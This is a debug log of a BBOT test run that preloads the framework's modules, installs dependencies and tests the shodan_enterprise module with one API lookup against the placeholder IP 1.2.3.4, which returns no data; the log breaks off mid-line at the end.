Preloading bucket_microsoft from cache -2026-02-27 21:27:06,497 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:27:06,498 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:27:06,499 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:27:06,501 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:27:06,502 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:27:06,503 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:27:06,504 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:27:06,505 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:27:06,506 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:27:06,507 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:27:06,507 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:27:06,508 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:27:06,509 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:27:06,510 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:27:06,511 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:27:06,512 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:27:06,512 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:27:06,514 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:27:06,515 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:27:06,516 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:27:06,565 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:27:06,567 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:27:06,568 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:27:06,569 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:27:06,570 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:27:06,577 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:27:06,578 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:27:06,582 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:27:06,584 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:27:06,585 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:27:06,586 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:27:06,587 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:27:06,588 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:27:06,589 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:27:06,590 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:27:06,591 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:27:06,592 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:27:06,593 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:27:06,594 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:27:06,595 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:27:06,596 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:27:06,597 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:27:06,598 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:27:06,599 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:27:06,600 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:27:06,601 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:27:06,603 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:27:06,604 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:27:06,605 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:27:06,606 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:27:06,607 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:27:06,608 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:27:06,609 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:27:06,610 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:27:06,611 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:27:06,612 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:27:06,613 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:27:06,614 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:27:06,615 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:27:06,616 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:27:06,618 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:27:06,618 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:27:06,619 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:27:06,620 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:27:06,621 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:27:06,622 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:27:06,623 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:27:06,624 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:27:06,625 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:27:06,626 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:27:06,627 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:27:06,800 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4628822672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:27:06,801 [DEBUG] filelock _api.py:334 Lock 4628822672 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:27:06,802 [DEBUG] filelock _api.py:364 Attempting to release lock 4628822672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:27:06,802 [DEBUG] filelock _api.py:367 Lock 4628822672 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 21:27:07,729 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:27:07,729 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:27:07,730 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 21:27:07,868 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 21:27:08,437 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 21:27:08,648 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 21:27:08,649 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 21:27:08,760 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 21:27:08,760 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 21:27:08,814 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 21:27:08,817 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 21:27:08,817 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 21:27:09,254 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 21:27:09,255 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 21:27:12,332 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 21:27:12,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 21:27:12,334 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 21:27:14,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 21:27:14,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 21:27:14,345 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:27:14,345 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 21:27:14,346 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 21:27:14,346 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 21:27:14,350 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/venqykhg1qmh3r8tq951 -2026-02-27 21:27:15,164 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 21:27:15,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 21:27:15,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:27:15,166 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 21:27:15,166 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:27:15,167 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 21:27:15,167 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 21:27:15,168 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 21:27:15,169 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 21:27:15,293 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 21:27:15,293 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 21:27:15,293 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 21:27:15,295 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 21:27:15,295 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 21:27:15,296 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 21:27:15,296 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 21:27:15,297 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 21:27:15,298 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 21:27:15,298 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 21:27:15,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 21:27:15,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 21:27:15,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 21:27:15,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 21:27:15,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 21:27:15,301 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 21:27:15,301 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 21:27:15,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 21:27:15,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 21:27:15,302 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 21:27:15,302 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 21:27:15,304 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 21:27:15,307 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 21:27:15,307 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 21:27:15,310 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 21:27:15,462 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ww2fvo6n1e -2026-02-27 21:27:15,463 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 21:27:15,592 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 21:27:15,593 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 21:27:15,593 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 21:27:15,595 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 21:27:15,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-02-27 21:27:15,695 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 21:27:15,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-02-27 21:27:15,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:27:15,698 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:15,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 21:27:15,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,700 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:15,701 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 21:27:15,702 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:15,703 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:27:15,704 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:15,705 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:27:15,706 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 21:27:15,709 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,710 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 21:27:15,710 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,711 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,711 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 21:27:15,711 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded -2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,715 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 21:27:15,811 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None -2026-02-27 21:27:15,811 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. -2026-02-27 21:27:15,814 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) -2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET -2026-02-27 21:27:15,816 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check -2026-02-27 21:27:15,816 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 21:27:15,817 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 21:27:15,817 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 21:27:15,817 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 21:27:15,818 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 21:27:15,818 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 21:27:15,819 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 21:27:15,819 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 21:27:15,919 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 21:27:15,919 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 21:27:15,933 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 21:27:15,935 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 21:27:15,935 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 21:27:15,941 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 21:27:15,942 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 21:27:15,942 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 21:27:15,943 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 21:27:15,944 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 21:27:15,945 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 21:27:16,068 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_ww2fvo6n1e completed in 0 seconds with status FINISHED -2026-02-27 21:27:16,069 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 21:27:16,070 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 21:27:16,071 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN -2026-02-27 21:27:16,072 [CRITICAL] bbot test_module_shodan_enterprise.py:21 {'id': 